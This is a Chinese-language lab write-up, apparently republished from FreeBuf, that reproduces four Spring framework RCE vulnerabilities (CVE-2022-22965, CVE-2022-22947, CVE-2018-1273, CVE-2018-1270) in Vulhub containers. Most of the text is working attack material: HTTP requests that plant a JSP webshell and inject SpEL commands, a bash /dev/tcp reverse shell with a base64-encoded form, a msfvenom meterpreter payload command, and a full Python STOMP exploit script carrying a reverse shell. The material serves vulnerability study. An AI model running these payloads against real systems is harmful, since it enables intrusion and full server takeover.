Spring框架漏洞解析之二
2024-1-29 09:39:7 Author: www.freebuf.com(查看原文) 阅读量:19 收藏

一、漏洞简介:


该CVE-2022-22965是在Java 9的环境下,引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞。

二、实验环境:

攻击机(kali):192.168.200.14

靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现

靶机目录

cd /vulhub/spring/CVE-2022-22965

查看当前正在运行的容器环境

三、实验流程


1.进入环境条件

http://IP地址:8080

2.访问环境

1703123365_658399a505ab5e15039a1.png!small?1703123366357

根据提示尝试构造payload

http://192.168.200.47:8080/?name=Bob&age=25

显示效果

1703123373_658399ad6d16994ef18e2.png!small?1703123374844

发送以下请求以更改 Apache Tomcat 中的日志记录配置,并将日志写入为 JSP 文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.200.147:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

访问刚才的 JSP webshell,并执行任意命令

http://192.168.200.47:8080/tomcatwar.jsp?pwd=j&cmd=id

1703123384_658399b871bda2d8d3e2c.png!small?1703123385908

漏洞修复等其他具体内容请见如下文章

https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247514928&idx=1&sn=d33f1046129536b3a0f2a7d02074297e&source=41#wechat_redirect

一、漏洞简介

Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。

2022年3月份,在 3.1.0 和 3.0.6 之前版本中使用 Spring Cloud Gateway 的应用程序,当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码

二、实验环境:

攻击机(kali):192.168.200.14

靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现

靶机目录

cd /vulhub/spring/CVE-2022-22947

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境

1703123395_658399c3bd838a11f1e97.png!small?1703123397136

3.构造包含恶意请求的路由(id参数可控)

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 		Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 310

{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

1703123406_658399ce0e467a6bf55a5.png!small?1703123407565

4.应用刚添加的路由发送如下数据包,此数据包会触发表达式执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

1703123414_658399d667a5fcb4bd6a1.png!small?1703123415747

5.发送如下数据包可查看结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

1703123422_658399de2e1bec93c1246.png!small

6.发送如下数据包进行清理,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

1703123439_658399ef88aad53c6cbf9.png!small?1703123440924

7.刷新路由:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

1703123452_658399fced50ed446beae.png!small?1703123454578

结束3

使用工具

将脚本路径下放上url.txt,将需要检测的漏洞目标放到txt里面

python 脚本.py 

反弹shell的EXP,实现进行注入,刷新路由,回显命令,删除注入命令

python EXP.py http://target.com:8080 "反弹命令"

1703123472_65839a108309e9585b8d2.png!small?1703123473980

kali反弹shell成功

1703123478_65839a168e8ad8b185f7f.png!small?1703123480145

一、漏洞简介:

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

二、实验环境:

攻击机(kali):192.168.200.14

靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现

靶机目录

cd /vulhub/spring/CVE-2018-1273

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境

1703123488_65839a20e55ba7d5af159.png!small?1703123491346

3.访问`http://your-ip:8080/users`,将可以看到一个用户注册页面

1703123505_65839a31076b4dab45334.png!small?1703123506461

4.构造poc

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.200.47:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

1703123517_65839a3d4e29d46eded58.png!small?1703123518706

执行docker compose exec spring bash进入容器中,可见成功创建/tmp/success,说明命令执行成功:

1703123524_65839a44675427ff00396.png!small?1703123525823

反弹shell、

利用命令

bash -i >& /dev/tcp/192.168.200.14/8888 0>&1

编码后

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

因为某种原因反弹shell失败了

遇到无法弹shell的可以先从自己服务器下载一个elf木马名为test:

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.200.14 LPORT=8888 - i 3 -f elf -o test  

1703123534_65839a4e40adb64606c32.png!small?1703123535697

设置监听模块

1703123541_65839a5555e146618e3ec.png!small?1703123542925

设置参数

1703123548_65839a5c88bcbe2869437.png!small?1703123550451

提权成功(由于linux系统中利用msf提权很少,便不不在掩饰)

1703123556_65839a6465aa346ca3123.png!small?1703123558152

一、漏洞简介:

Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。

二、实验环境:

攻击机(kali):192.168.200.14

靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现

靶机目录

cd /vulhub/spring/CVE-2018-1270

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境

1703123577_65839a799a75e66895461.png!small?1703123578953

网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为:

  1. STOMP协议将数据组合成一个文本流
  2. sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

所以我们可以使用http来复现漏洞,称之为“降维打击”。

我编写了一个简单的POC脚本exploit.py(需要用python3执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:

  1. 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
  2. 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
  3. 某一个订阅的地址,如vulhub中为:/topic/greetings
  4. 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。

执行EXP(注意替换IP地址)

1703123587_65839a83e829be1742e0c.png!small

1703123599_65839a8f7a63f28bdfcf1.png!small?1703123600903

反弹shell

使用内置EXP,更改成反弹shell命令

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.200.47:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODk5IDA+JjE=}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

kali监听

1703123611_65839a9b8b413546f5df2.png!small?1703123613172

参考文章:https://vulhub.org/#/environments/spring/CVE-2018-1270/


文章来源: https://www.freebuf.com/articles/web/387249.html
如有侵权请联系:admin#unsafe.sh